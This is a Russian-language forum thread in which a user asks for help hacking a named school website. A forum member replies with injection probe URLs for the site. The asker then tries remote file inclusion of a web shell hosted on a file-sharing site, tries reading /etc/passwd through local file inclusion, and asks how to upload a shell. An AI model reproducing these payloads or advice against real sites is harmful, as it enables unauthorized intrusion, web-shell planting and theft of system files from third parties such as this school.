Нужна помощь во взломе одного сайта.
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Нужна помощь во взломе одного сайта. - 2010-11-26 16:29:01.260000
|
|
|
Evgenii_Semenov
Сообщений: 11
Оценки: 0
Присоединился: 2010-11-25 01:16:40.403333
|
Я в деле взлома не новичок, но никогда не пробывал взламывать сайты.
перечитал кучу faq'ов но конкретного ответа или даже направления для мысли не нашел. Уже облазил весь форум в поиске ответа, но безрезультатно.
Теперь суть моего вопроса:
просканировав один сайт на уязвимости спайдером, ничего не нашел, но просканировав той же прогой на эксплойты нашел одну уязвимость, вот отчет программы:
---------------------------------------------------------------------------------------
Поиск уязвимостей на сервере "www.school-8.com" ...
Сервер : nginx
Количество эксплойтов : 726
http://www.school-8.com:80/docs/
Ответ: 200 - OK
Проверено : 726
Найдено уязвимостей : 1
Поиск завершен
----------------------------------------------------------------------------------------
Вот хотелось бы услышать советы более опытных людей.
|
|
|
|
|
RE: Нужна помощь во взломе одного сайта. - 2010-11-26 23:23:32.546666
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
http://school-8.com/name112.php?name=news/index.php&news=-5
http://school-8.com/name112.php?name=vshedule/index.php'
|
|
|
|
|
RE: Нужна помощь во взломе одного сайта. - 2010-11-26 23:48:44.093333
|
|
|
Evgenii_Semenov
Сообщений: 11
Оценки: 0
Присоединился: 2010-11-25 01:16:40.403333
|
Спасибо!))
Но мне еще интересно, как вы дошли до этого?)
|
|
|
|
|
RE: Нужна помощь во взломе одного сайта. - 2010-11-27 00:14:00.063333
|
|
|
Evgenii_Semenov
Сообщений: 11
Оценки: 0
Присоединился: 2010-11-25 01:16:40.403333
|
Как загрузить туда shell?
Если верить статьям в интернете, то нужна команда ?file= , а здесь только ?name= , как быть тогда?
Или это не имеет значения?
http://school-8.com/name112.php?name=www.zalil.ru/30033707/4610d8af.4cf0d380/remview.php
вот добавил shell к ссылке, но все равно говорит ошибка при загрузке.
http://school-8.com/name112.php?name=/etc/passwd
И вот эту вещь мог бы кто-нибудь разъяснить? Имеет ли данная страница хоть какое-то практическое применение(имеется ввиду для меня)?
|
|
|
|
|
|
